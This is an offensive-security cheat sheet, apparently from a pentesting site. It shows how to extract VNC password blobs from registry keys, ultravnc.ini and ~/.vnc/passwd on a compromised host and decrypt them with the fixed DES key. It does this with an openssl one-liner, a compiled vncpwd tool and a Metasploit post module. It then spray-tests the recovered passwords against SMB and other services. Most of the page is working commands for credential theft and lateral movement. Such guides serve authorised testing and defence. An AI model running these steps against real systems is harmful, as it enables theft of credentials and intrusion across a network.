Skip to content
HackIndex.io

VNC Password Hash Extraction and Decryption

2 min read Created Mar 12, 2026 Last updated Jul 10, 2026

VNC passwords are stored as DES-encrypted blobs using a fixed hardcoded key. The encryption is fully reversible: it is obfuscation, not real protection. From a foothold on the target, pull the blob from the registry or config file and decrypt it instantly to recover the plaintext password.

VNC password storage locations:

  • RealVNC: Windows registry under HKLM\SOFTWARE\RealVNC

  • TightVNC: Windows registry under HKLM\SOFTWARE\TightVNC

  • UltraVNC: ultravnc.ini config file on disk

  • x11vnc/TigerVNC: ~/.vnc/passwd file on Linux

Storage Locations by VNC Implementation

RealVNC (Windows registry):

C:\Users\Guest\Desktop> reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v Password

TightVNC (Windows registry):

C:\Users\Guest\Desktop> reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v Password
C:\Users\Guest\Desktop> reg query HKEY_CURRENT_USER\Software\TightVNC\Server /v Password

TigerVNC (Windows registry):

C:\Users\Guest\Desktop> reg query HKEY_LOCAL_MACHINE\SOFTWARE\TigerVNC\WinVNC4 /v Password

UltraVNC (config file):

C:\Users\Guest\Desktop> type "C:\Program Files\UltraVNC\ultravnc.ini"

Look for passwd= and passwd2= lines.

Linux VNC (file):

C:\Users\Guest\Desktop> xxd ~/.vnc/passwd | head

The password blob is always 8 bytes: 16 hex characters. Sample registry output:

Password    REG_BINARY    D7A514D8C556AADE

Decryption with openssl

The fixed DES key shared by all VNC implementations is e84ad660c4721ae0. Decrypt directly: no extra tools needed:

┌──(kali㉿kali)-[~]
└─$ echo -n D7A514D8C556AADE | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | cat

Replace D7A514D8C556AADE with your extracted blob. The plaintext password prints to stdout.

Decryption with vncpwd

┌──(kali㉿kali)-[~]
└─$ wget https://aluigi.altervista.org/pwdrec/vncpwd.zip
┌──(kali㉿kali)-[~]
└─$ unzip vncpwd.zip && gcc vncpwd.c -o vncpwd
┌──(kali㉿kali)-[~]
└─$ ./vncpwd D7A514D8C556AADE

Works with all major VNC implementations.

Extracting the Blob from a Linux passwd File

┌──(kali㉿kali)-[~]
└─$ cat ~/.vnc/passwd | xxd -p | head -c 16

Pass the output hex directly to the openssl one-liner above.

Automated Extraction with Metasploit Post Module

┌──(kali㉿kali)-[~]
└─$ use post/windows/gather/credentials/vnc
┌──(kali㉿kali)-[~]
└─$ set SESSION 1
┌──(kali㉿kali)-[~]
└─$ run

Queries all known registry paths, extracts blobs, and decrypts automatically.

What to Do After Decryption

Connect directly:

┌──(kali㉿kali)-[~]
└─$ vncviewer $TARGET_IP:5900

Also test the password against other services: VNC passwords are frequently reused on SSH, RDP, and SMB:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN

References